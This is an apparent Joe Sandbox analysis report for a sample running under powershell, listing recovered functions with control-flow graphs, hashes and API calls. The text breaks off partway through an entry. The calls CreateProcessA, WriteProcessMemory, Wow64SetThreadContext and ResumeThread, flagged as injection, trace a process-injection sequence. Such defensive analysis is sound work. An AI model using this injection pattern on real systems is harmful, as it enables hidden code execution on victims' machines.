72->75 76 4c3ac7-4c3acd 72->76 78 4c3e78 74->78 79 4c3e5a-4c3e76 74->79 98 4c3b08-4c3b1e 75->98 99 4c3afb-4c3afe 75->99 83 4c3acf 76->83 84 4c3ad1-4c3add 76->84 89 4c3e7a-4c3e7c 78->89 79->89 83->75 84->75 93 4c3caf-4c3cb1 85->93 86->93 87->88 103 4c3fce 88->103 104 4c3fd0-4c3fd2 88->104 89->50 94 4c3e82-4c3e85 89->94 93->27 96 4c3cb7-4c3cd6 93->96 102 4c3e8f-4c3e95 94->102 118 4c3cee-4c3d0d 96->118 119 4c3cd8-4c3cde 96->119 108 4c3b36-4c3b8d 98->108 109 4c3b20-4c3b26 98->109 99->98 110 4c3e9b-4c3e9d 102->110 106 4c3fdc-4c3fdd 103->106 104->106 115 4c3b28 109->115 116 4c3b2a-4c3b2c 109->116 113 4c3e9f-4c3ea5 110->113 114 4c3eb5-4c3f0c 110->114 120 4c3ea9-4c3eab 113->120 121 4c3ea7 113->121 115->108 116->108 126 4c3d0f-4c3d12 118->126 127 4c3d14-4c3d62 118->127 122 4c3ce0 119->122 123 4c3ce2-4c3ce4 119->123 120->114 121->114 122->118 123->118 128 4c3d67-4c3d6e 126->128 127->128
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$4'p$4'p$4'p$4'p
                              • API String ID: 0-2314922075
                              • Opcode ID: f6af3f604e09a2cd4ab741d8a79c62616e6730a8c110863b7897f32e21d344d0
                              • Instruction ID: db3f60f49badff12c8d742f57c771b04222401c3f5cef0bbfb1a72bbd63bffd6
                              • Opcode Fuzzy Hash: f6af3f604e09a2cd4ab741d8a79c62616e6730a8c110863b7897f32e21d344d0
                              • Instruction Fuzzy Hash: D3E11339B002049FCB949F28D850BABBBB1AF85312F24C4AFD545CB352DA79DE41C796
                              Function 004C52B4 Relevance: 7.6, Strings: 5, Instructions: 1322COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 135 4c52b4-4c52b7 136 4c52bd-4c52c5 135->136 137 4c52b9-4c52bb 135->137 138 4c52dd-4c52e1 136->138 139 4c52c7-4c52cd 136->139 137->136 142 4c540c-4c5416 138->142 143 4c52e7-4c52eb 138->143 140 4c52cf 139->140 141 4c52d1-4c52db 139->141 140->138 141->138 144 4c5418-4c5421 142->144 145 4c5424-4c542a 142->145 146 4c52ed-4c52fe 143->146 147 4c532b 143->147 150 4c542c-4c542e 145->150 151 4c5430-4c543c 145->151 155 4c5464-4c54b3 146->155 156 4c5304-4c5309 146->156 148 4c532d-4c532f 147->148 148->142 153 4c5335-4c5339 148->153 152 4c543e-4c5461 150->152 151->152 153->142 158 4c533f-4c5343 153->158 167 4c54b9-4c54be 155->167 168 4c56b6-4c56c3 155->168 159 4c530b-4c5311 156->159 160 4c5321-4c5329 156->160 158->142 162 4c5349-4c536f 158->162 163 4c5315-4c531f 159->163 164 4c5313 159->164 160->148 162->142 179 4c5375-4c5379 162->179 163->160 164->160 171 4c54d6-4c54da 167->171 172 4c54c0-4c54c6 167->172 174 4c565f-4c5669 171->174 175 4c54e0-4c54e2 171->175 176 4c54c8 172->176 177 4c54ca-4c54d4 172->177 182 4c566b-4c5672 174->182 183 4c5675-4c567b 174->183 180 4c54e4-4c54f0 175->180 181 4c54f2 175->181 176->171 177->171 185 4c539c 179->185 186 4c537b-4c5384 179->186 187 4c54f4-4c54f6 180->187 181->187 188 4c567d-4c567f 183->188 189 4c5681-4c568d 183->189 193 4c539f-4c53ac 185->193 190 4c538b-4c5398 186->190 191 4c5386-4c5389 186->191 187->174 192 4c54fc-4c551b 187->192 194 4c568f-4c56b3 188->194 189->194 195 4c539a 190->195 191->195 204 4c551d-4c5529 192->204 205 4c552b 192->205 199 4c53b2-4c5409 193->199 195->193 206 4c552d-4c552f 204->206 205->206 206->174 207 4c5535-4c5539 206->207 207->174 208 4c553f-4c5543 207->208 209 4c5545-4c5554 208->209 210 4c5556 208->210 211 4c5558-4c555a 209->211 210->211 211->174 212 4c5560-4c5564 211->212 212->174 213 4c556a-4c5589 212->213 216 4c558b-4c5591 213->216 217 4c55a1-4c55ac 213->217 218 4c5595-4c5597 216->218 219 4c5593 216->219 220 4c55ae-4c55b1 217->220 221 4c55bb-4c55d7 217->221 218->217 219->217 220->221 222 4c55d9-4c55ec 221->222 223 4c55f4-4c55fe 221->223 222->223 224 4c5600 223->224 225 4c5602-4c5650 223->225 226 4c5655-4c565c 224->226 225->226
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: (op$(op$L4p$L4p$L4p
                              • API String ID: 0-2509652690
                              • Opcode ID: 4ad0723375c8eddf5fc8b7054b9a84fd1d5eb4fc90572d09585995bb38ca4cff
                              • Instruction ID: ed4ae3132d0729c4264b454a6a1e11a58fb94debd50d0bc885aa9b4630375510
                              • Opcode Fuzzy Hash: 4ad0723375c8eddf5fc8b7054b9a84fd1d5eb4fc90572d09585995bb38ca4cff
                              • Instruction Fuzzy Hash: 4AB10A397006449FCB599E28D850FAF7BA2EF80310F54846FD9158B392DB78EC85CB59
                              Function 002791E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 323processCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 233 2791e0-279279 235 2792c2-2792ea 233->235 236 27927b-279292 233->236 240 279330-279386 235->240 241 2792ec-279300 235->241 236->235 239 279294-279299 236->239 242 2792bc-2792bf 239->242 243 27929b-2792a5 239->243 250 2793cc-2794c3 CreateProcessA 240->250 251 279388-27939c 240->251 241->240 248 279302-279307 241->248 242->235 245 2792a7 243->245 246 2792a9-2792b8 243->246 245->246 246->246 249 2792ba 246->249 252 27932a-27932d 248->252 253 279309-279313 248->253 249->242 269 2794c5-2794cb 250->269 270 2794cc-2795b1 250->270 251->250 259 27939e-2793a3 251->259 252->240 254 279317-279326 253->254 255 279315 253->255 254->254 258 279328 254->258 255->254 258->252 261 2793c6-2793c9 259->261 262 2793a5-2793af 259->262 261->250 263 2793b3-2793c2 262->263 264 2793b1 262->264 263->263 265 2793c4 263->265 264->263 265->261 269->270 282 2795b3-2795b7 270->282 283 2795c1-2795c5 270->283 282->283 284 2795b9 282->284 285 2795c7-2795cb 283->285 286 2795d5-2795d9 283->286 284->283 285->286 287 2795cd 285->287 288 2795db-2795df 286->288 289 2795e9-2795ed 286->289 287->286 288->289 292 2795e1 288->292 290 279623-27962e 289->290 291 2795ef-279618 289->291 296 27962f 290->296 291->290 292->289 296->296
                              APIs
                              • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 002794A7
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357698307.0000000000270000.00000040.00000800.00020000.00000000.sdmp, Offset: 00270000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_270000_powershell.jbxd
                              Similarity
                              • API ID: CreateProcess
                              • String ID: 8-$8-$8-
                              • API String ID: 963392458-1506843004
                              • Opcode ID: 05a7bb7e31d4e5618d34867e90798c7da8b9d9bcd2a79e8c87b550010403d516
                              • Instruction ID: ec68fc7210bd438b84c460129bd433a8c5cee77df2d96e67f216d8fea4250dcc
                              • Opcode Fuzzy Hash: 05a7bb7e31d4e5618d34867e90798c7da8b9d9bcd2a79e8c87b550010403d516
                              • Instruction Fuzzy Hash: FDC12970D1021A8FDF25DFA8C841BEDBBB1BF45300F0095A9D859B7250DB749A95CF94
                              Function 004C43E8 Relevance: 6.6, Strings: 5, Instructions: 374COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 297 4c43e8-4c440b 298 4c45e6-4c4612 297->298 299 4c4411-4c4416 297->299 307 4c465f-4c4699 298->307 308 4c4614-4c4619 298->308 300 4c442e-4c4432 299->300 301 4c4418-4c441e 299->301 305 4c4438-4c443c 300->305 306 4c4593-4c459d 300->306 303 4c4420 301->303 304 4c4422-4c442c 301->304 303->300 304->300 311 4c443e-4c444d 305->311 312 4c444f 305->312 309 4c459f-4c45a8 306->309 310 4c45ab-4c45b1 306->310 324 4c46b8 307->324 325 4c469b-4c46b6 307->325 313 4c461b-4c4621 308->313 314 4c4631-4c4649 308->314 315 4c45b7-4c45c3 310->315 316 4c45b3-4c45b5 310->316 318 4c4451-4c4453 311->318 312->318 320 4c4625-4c462f 313->320 321 4c4623 313->321 330 4c464b-4c464d 314->330 331 4c4657-4c465c 314->331 322 4c45c5-4c45e3 315->322 316->322 318->306 323 4c4459-4c4479 318->323 320->314 321->314 342 4c4498 323->342 343 4c447b-4c4496 323->343 328 4c46ba-4c46bc 324->328 325->328 335 4c474a-4c4754 328->335 336 4c46c2-4c46c6 328->336 330->331 339 4c4756-4c475d 335->339 340 4c4760-4c4766 335->340 336->335 338 4c46cc-4c46e9 336->338 352 4c46ef-4c46f1 338->352 353 4c4799-4c479e 338->353 345 4c476c-4c4778 340->345 346 4c4768-4c476a 340->346 347 4c449a-4c449c 342->347 343->347 349 4c477a-4c4796 345->349 346->349 347->306 351 4c44a2-4c44a4 347->351 356 4c44b4 351->356 357 4c44a6-4c44b2 351->357 358 4c470b-4c4720 352->358 359 4c46f3-4c46f9 352->359 353->352 362 4c44b6-4c44b8 356->362 357->362 369 4c4726-4c4744 358->369 370 4c47a3-4c47d4 358->370 363 4c46fd-4c4709 359->363 364 4c46fb 359->364 362->306 367 4c44be-4c44de 362->367 363->358 364->358 378 4c44f6-4c44fa 367->378 379 4c44e0-4c44e6 367->379 369->335 374 4c47e4 370->374 375 4c47d6-4c47e2 370->375 377 4c47e6-4c47e8 374->377 375->377 384 4c480a-4c4814 377->384 385 4c47ea-4c47ee 377->385 382 4c44fc-4c4502 378->382 383 4c4514-4c4518 378->383 380 4c44e8 379->380 381 4c44ea-4c44ec 379->381 380->378 381->378 386 4c4504 382->386 387 4c4506-4c4512 382->387 393 4c451f-4c4521 383->393 388 4c481e-4c4824 384->388 389 4c4816-4c481b 384->389 385->384 390 4c47f0-4c4807 385->390 386->383 387->383 391 4c482a-4c4836 388->391 392 4c4826-4c4828 388->392 395 4c4838-4c4852 391->395 392->395 396 4c4539-4c4590 393->396 397 4c4523-4c4529 393->397 400 4c452d-4c452f 397->400 401 4c452b 397->401 400->396 401->396
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$$p$$p$$p
                              • API String ID: 0-2334450948
                              • Opcode ID: c1a2d5c7d86854bb69b8b6a1ba69bc7e3679c68b2fa55aad28accfd7597b4dfb
                              • Instruction ID: f043e5d3cef7d3bb49cc27097328b4ce4c3da0f242f84872d984c02e8cb392e3
                              • Opcode Fuzzy Hash: c1a2d5c7d86854bb69b8b6a1ba69bc7e3679c68b2fa55aad28accfd7597b4dfb
                              • Instruction Fuzzy Hash: 5FC127397043509FC7A59A68D920F6BBBE29FC6310F28806FD545CB391DA79CC42C766
                              Function 004C43C9 Relevance: 3.9, Strings: 3, Instructions: 109COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 405 4c43c9-4c440b 406 4c45e6-4c4612 405->406 407 4c4411-4c4416 405->407 415 4c465f-4c4699 406->415 416 4c4614-4c4619 406->416 408 4c442e-4c4432 407->408 409 4c4418-4c441e 407->409 413 4c4438-4c443c 408->413 414 4c4593-4c459d 408->414 411 4c4420 409->411 412 4c4422-4c442c 409->412 411->408 412->408 419 4c443e-4c444d 413->419 420 4c444f 413->420 417 4c459f-4c45a8 414->417 418 4c45ab-4c45b1 414->418 432 4c46b8 415->432 433 4c469b-4c46b6 415->433 421 4c461b-4c4621 416->421 422 4c4631-4c4649 416->422 423 4c45b7-4c45c3 418->423 424 4c45b3-4c45b5 418->424 426 4c4451-4c4453 419->426 420->426 428 4c4625-4c462f 421->428 429 4c4623 421->429 438 4c464b-4c464d 422->438 439 4c4657-4c465c 422->439 430 4c45c5-4c45e3 423->430 424->430 426->414 431 4c4459-4c4479 426->431 428->422 429->422 450 4c4498 431->450 451 4c447b-4c4496 431->451 436 4c46ba-4c46bc 432->436 433->436 443 4c474a-4c4754 436->443 444 4c46c2-4c46c6 436->444 438->439 447 4c4756-4c475d 443->447 448 4c4760-4c4766 443->448 444->443 446 4c46cc-4c46e9 444->446 460 4c46ef-4c46f1 446->460 461 4c4799-4c479e 446->461 453 4c476c-4c4778 448->453 454 4c4768-4c476a 448->454 455 4c449a-4c449c 450->455 451->455 457 4c477a-4c4796 453->457 454->457 455->414 459 4c44a2-4c44a4 455->459 464 4c44b4 459->464 465 4c44a6-4c44b2 459->465 466 4c470b-4c4720 460->466 467 4c46f3-4c46f9 460->467 461->460 470 4c44b6-4c44b8 464->470 465->470 477 4c4726-4c4744 466->477 478 4c47a3-4c47d4 466->478 471 4c46fd-4c4709 467->471 472 4c46fb 467->472 470->414 475 4c44be-4c44de 470->475 471->466 472->466 486 4c44f6-4c44fa 475->486 487 4c44e0-4c44e6 475->487 477->443 482 4c47e4 478->482 483 4c47d6-4c47e2 478->483 485 4c47e6-4c47e8 482->485 483->485 492 4c480a-4c4814 485->492 493 4c47ea-4c47ee 485->493 490 4c44fc-4c4502 486->490 491 4c4514-4c4518 486->491 488 4c44e8 487->488 489 4c44ea-4c44ec 487->489 488->486 489->486 494 4c4504 490->494 495 4c4506-4c4512 490->495 501 4c451f-4c4521 491->501 496 4c481e-4c4824 492->496 497 4c4816-4c481b 492->497 493->492 498 4c47f0-4c4807 493->498 494->491 495->491 499 4c482a-4c4836 496->499 500 4c4826-4c4828 496->500 503 4c4838-4c4852 499->503 500->503 504 4c4539-4c4590 501->504 505 4c4523-4c4529 501->505 508 4c452d-4c452f 505->508 509 4c452b 505->509 508->504 509->504
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$$p$$p
                              • API String ID: 0-2931952147
                              • Opcode ID: 4bce705984568ab00d8988101743706b6d9db6218d5151e635d49dcee5650a3c
                              • Instruction ID: 4efcad9c2eff1a8f989456c14111258476dacad7d368c6aefb079cbe01ce9e76
                              • Opcode Fuzzy Hash: 4bce705984568ab00d8988101743706b6d9db6218d5151e635d49dcee5650a3c
                              • Instruction Fuzzy Hash: D731F578A043049FCBA58B24D620B7B7BB1ABD1310F64806FD9459B292D77CCD42CB6A
                              Function 004C4DF7 Relevance: 2.5, Strings: 2, Instructions: 23COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 513 4c4df7-4c4e0f 515 4c4e16-4c4e18 513->515 516 4c4e1a-4c4e20 515->516 517 4c4e30-4c4e87 515->517 518 4c4e24-4c4e26 516->518 519 4c4e22 516->519 518->517 519->517
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p
                              • API String ID: 0-3973980265
                              • Opcode ID: 6f65aef707dfe57cc2fa1a69c7a29abc34ecb1fd352f26d53e28a441a4a6cd6f
                              • Instruction ID: 0654e8633ff64d1fc79d6138398a75657fa1331c05d7ffaf8d8d44267586a009
                              • Opcode Fuzzy Hash: 6f65aef707dfe57cc2fa1a69c7a29abc34ecb1fd352f26d53e28a441a4a6cd6f
                              • Instruction Fuzzy Hash: 20E0D8357042409ADF996678A1317AEBBB27FD2361F66809FC48486349CA398D16C393
                              Function 00278E48 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 672 278e48-278eb3 674 278eb5-278ec7 672->674 675 278eca-278f31 WriteProcessMemory 672->675 674->675 677 278f33-278f39 675->677 678 278f3a-278f8c 675->678 677->678
                              APIs
                              • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 00278F1B
                              Memory Dump Source
                              • Source File: 00000006.00000002.357698307.0000000000270000.00000040.00000800.00020000.00000000.sdmp, Offset: 00270000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_270000_powershell.jbxd
                              Similarity
                              • API ID: MemoryProcessWrite
                              • String ID:
                              • API String ID: 3559483778-0
                              • Opcode ID: 0bb56d737ccfaaf642bb3c1f16f870fd28c7bc19f0ae5d509a25e62731dc8f0c
                              • Instruction ID: 7bc5dcf46caa950213e3f9d38a71ef82e6a5f6d958ccc1ba7f32f54c2a1c418b
                              • Opcode Fuzzy Hash: 0bb56d737ccfaaf642bb3c1f16f870fd28c7bc19f0ae5d509a25e62731dc8f0c
                              • Instruction Fuzzy Hash: E841ABB4D012499FCF00CFA9D984AEEFBF1BB49314F20942AE818B7250D734AA55CF64
                              Function 00278AF8 Relevance: 1.6, APIs: 1, Instructions: 99threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 683 278af8-278b60 686 278b77-278bc5 Wow64SetThreadContext 683->686 687 278b62-278b74 683->687 689 278bc7-278bcd 686->689 690 278bce-278c1a 686->690 687->686 689->690
                              APIs
                              • Wow64SetThreadContext.KERNEL32(?,?), ref: 00278BAF
                              Memory Dump Source
                              • Source File: 00000006.00000002.357698307.0000000000270000.00000040.00000800.00020000.00000000.sdmp, Offset: 00270000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_270000_powershell.jbxd
                              Similarity
                              • API ID: ContextThreadWow64
                              • String ID:
                              • API String ID: 983334009-0
                              • Opcode ID: ea71d3610947c843fc3ff23e4c780f5f52b42bf53421c09ef97d6b2332f26e52
                              • Instruction ID: 9b4511551c419628ccdd40942e88e68615fb1bf93cb50a91ad69107b4824422d
                              • Opcode Fuzzy Hash: ea71d3610947c843fc3ff23e4c780f5f52b42bf53421c09ef97d6b2332f26e52
                              • Instruction Fuzzy Hash: C541CCB4D112599FCF10CFA9D984AEEFBB1BF49314F24802AE418B7244D778A949CF64
                              Function 00278B00 Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 695 278b00-278b60 697 278b77-278bc5 Wow64SetThreadContext 695->697 698 278b62-278b74 695->698 700 278bc7-278bcd 697->700 701 278bce-278c1a 697->701 698->697 700->701
                              APIs
                              • Wow64SetThreadContext.KERNEL32(?,?), ref: 00278BAF
                              Memory Dump Source
                              • Source File: 00000006.00000002.357698307.0000000000270000.00000040.00000800.00020000.00000000.sdmp, Offset: 00270000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_270000_powershell.jbxd
                              Similarity
                              • API ID: ContextThreadWow64
                              • String ID:
                              • API String ID: 983334009-0
                              • Opcode ID: bd4b8cb045910d36a3fd74fb18d59a0aec807fd20ecaaf3296a265ac08cb8a9b
                              • Instruction ID: 8a79b85ecd7456c6f9d7fab639c1638485f137f4f88189c402f00cd27e78d21d
                              • Opcode Fuzzy Hash: bd4b8cb045910d36a3fd74fb18d59a0aec807fd20ecaaf3296a265ac08cb8a9b
                              • Instruction Fuzzy Hash: 4841BCB4D102599FCF10CFA9D984AEEFBB1AB49314F24802AE418B7244D738A949CF64
                              Function 00278A08 Relevance: 1.6, APIs: 1, Instructions: 76threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 706 278a08-278aa4 ResumeThread 709 278aa6-278aac 706->709 710 278aad-278aef 706->710 709->710
                              APIs
                              • ResumeThread.KERNELBASE(?), ref: 00278A8E
                              Memory Dump Source
                              • Source File: 00000006.00000002.357698307.0000000000270000.00000040.00000800.00020000.00000000.sdmp, Offset: 00270000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_270000_powershell.jbxd
                              Similarity
                              • API ID: ResumeThread
                              • String ID:
                              • API String ID: 947044025-0
                              • Opcode ID: 60b8557fa7c1865c955b463683f31b82790784a39bc0ec733138fbcdae80bde3
                              • Instruction ID: a95f803985b05a37c0c1d4eff77f1841557ec4978ad8545c7bab9edc6d18f77a
                              • Opcode Fuzzy Hash: 60b8557fa7c1865c955b463683f31b82790784a39bc0ec733138fbcdae80bde3
                              • Instruction Fuzzy Hash: D831BBB5D102199FCF10CFA9D984AEEFBB1AB49314F14942AE819B7350C774A905CFA4
                              Function 00278A10 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 715 278a10-278aa4 ResumeThread 718 278aa6-278aac 715->718 719 278aad-278aef 715->719 718->719
                              APIs
                              • ResumeThread.KERNELBASE(?), ref: 00278A8E
                              Memory Dump Source
                              • Source File: 00000006.00000002.357698307.0000000000270000.00000040.00000800.00020000.00000000.sdmp, Offset: 00270000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_270000_powershell.jbxd
                              Similarity
                              • API ID: ResumeThread
                              • String ID:
                              • API String ID: 947044025-0
                              • Opcode ID: cce8564b88789b7826547c6d16579e7f5ff392476aba5da2251f1ba73be14ec1
                              • Instruction ID: 49ab50954137f0fa650f66f848594a3b3e3ccf260bbda9d8ff02f5be3dcb5155
                              • Opcode Fuzzy Hash: cce8564b88789b7826547c6d16579e7f5ff392476aba5da2251f1ba73be14ec1
                              • Instruction Fuzzy Hash: AB31BCB4D102199FCF10CFAAD984AAEFBB5AF49314F14942AE819B7310C735A905CFA4
                              Function 004C3DE8 Relevance: 1.3, Strings: 1, Instructions: 65COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 745 4c3de8-4c3e0b 746 4c3e11-4c3e16 745->746 747 4c3f62-4c3fa6 745->747 748 4c3e2e-4c3e32 746->748 749 4c3e18-4c3e1e 746->749 770 4c3fa8-4c3faa 747->770 771 4c3fb4-4c3fcc 747->771 752 4c3f0f-4c3f19 748->752 753 4c3e38-4c3e3a 748->753 750 4c3e20 749->750 751 4c3e22-4c3e2c 749->751 750->748 751->748 755 4c3f1b-4c3f24 752->755 756 4c3f27-4c3f2d 752->756 757 4c3e3c-4c3e48 753->757 758 4c3e4a 753->758 760 4c3f2f-4c3f31 756->760 761 4c3f33-4c3f3f 756->761 763 4c3e4c-4c3e4e 757->763 758->763 764 4c3f41-4c3f5f 760->764 761->764 763->752 765 4c3e54-4c3e58 763->765 768 4c3e78 765->768 769 4c3e5a-4c3e76 765->769 772 4c3e7a-4c3e7c 768->772 769->772 770->771 780 4c3fce 771->780 781 4c3fd0-4c3fd2 771->781 772->752 775 4c3e82-4c3e95 772->775 783 4c3e9b-4c3e9d 775->783 782 4c3fdc-4c3fdd 780->782 781->782 784 4c3e9f-4c3ea5 783->784 785 4c3eb5-4c3f0c 783->785 787 4c3ea9-4c3eab 784->787 788 4c3ea7 784->788 787->785 788->785
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p
                              • API String ID: 0-481844870
                              • Opcode ID: 45312f2e767b2727579f0876553f87ab7fe62cddd113f16e78973304d623ffb3
                              • Instruction ID: 0d04995b0c35aa0d3f7d878b2f04ec4e226eb8a347ed5ed0f29b7a5c463418ba
                              • Opcode Fuzzy Hash: 45312f2e767b2727579f0876553f87ab7fe62cddd113f16e78973304d623ffb3
                              • Instruction Fuzzy Hash: 50116D39A00204DFDB94DE69C540B6ABBF5AF94352F24C0AFE40887351D779DA81CB9A
                              Function 004C1189 Relevance: .1, Instructions: 56COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9cbf85915cf52623357b4c00efc2908a89789becda9c6e4abc16df4dd485c808
                              • Instruction ID: 6965cb58c00a9faa8f90849bcfc0d3bac28bb23802d452a1dbbadb2eb03066c8
                              • Opcode Fuzzy Hash: 9cbf85915cf52623357b4c00efc2908a89789becda9c6e4abc16df4dd485c808
                              • Instruction Fuzzy Hash: 741102747083C42FC7521B358C25B6A7EB5AF83700F45809BE884DF2D3CAA99C058366
                              Function 0012D006 Relevance: .0, Instructions: 47COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000006.00000002.357676816.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_12d000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 0292db9e11ed7d87a1071b99bb808fbcea72496eee5e5bd6c407f40c9c46dec4
                              • Instruction ID: aacf1dc961c384865b72d01616561ccb8360ab0d0523dd4eb9c9a89f22e8dc3e
                              • Opcode Fuzzy Hash: 0292db9e11ed7d87a1071b99bb808fbcea72496eee5e5bd6c407f40c9c46dec4
                              • Instruction Fuzzy Hash: 7A018C6140D3D09FD7124B25EC94762BFA8EF43624F1984DBE8848F2A7C2689C49CB72
                              Function 0012D01D Relevance: .0, Instructions: 45COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000006.00000002.357676816.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_12d000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1e6b70d61ba23c50be6d55ecfb6d95606a57991c5f0da160039c4ca30d1cce5a
                              • Instruction ID: 206d26986b3d87811273f3b3d307db34f0da2376b95b22cc0ea8abb5c86c9853
                              • Opcode Fuzzy Hash: 1e6b70d61ba23c50be6d55ecfb6d95606a57991c5f0da160039c4ca30d1cce5a
                              • Instruction Fuzzy Hash: 4101DF71504350AEE7204E2AE884B66BF98EF41724F28C41AFC494A2A6C779D845CAB9
                              Function 004C11B0 Relevance: .0, Instructions: 41COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 6b66b842ce850ccc0cdfa0f90748865003a82f66cce05cfd0bf3f065bef0bd61
                              • Instruction ID: 2e7db401d00da86bfa24b3d69364030f580f13cccaed8a6e0dd0bf4ae18da20c
                              • Opcode Fuzzy Hash: 6b66b842ce850ccc0cdfa0f90748865003a82f66cce05cfd0bf3f065bef0bd61
                              • Instruction Fuzzy Hash: 33F0A47470025837D764566A8855F7F69AA9BC5700F908019F945EF3C2CDF5AC41436A

                              Non-executed Functions

                              Function 004C1420 Relevance: 20.4, Strings: 16, Instructions: 385COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$4:B$4:B$8#g$8#g$8#g$8#g$8#g$8#g$$p$$p$$p$$p$9B$9B
                              • API String ID: 0-3381095214
                              • Opcode ID: 202ad4b07429d89c2230048a90305cb4c4271675d3675dc22acf96493bdaa175
                              • Instruction ID: c3e0538527f82b8d3e33d01fc0eb066c8c5ba546d775ef2c0eb83d5daaa1f54a
                              • Opcode Fuzzy Hash: 202ad4b07429d89c2230048a90305cb4c4271675d3675dc22acf96493bdaa175
                              • Instruction Fuzzy Hash: DAC11639B042009FCB589B68D450F6BFBA2AFC6310B28C06FD545CB362DA35CD02C7A5
                              Function 004C00A0 Relevance: 16.7, Strings: 13, Instructions: 416COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000006.00000002.357737386.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd
                              Similarity
                              • API ID:
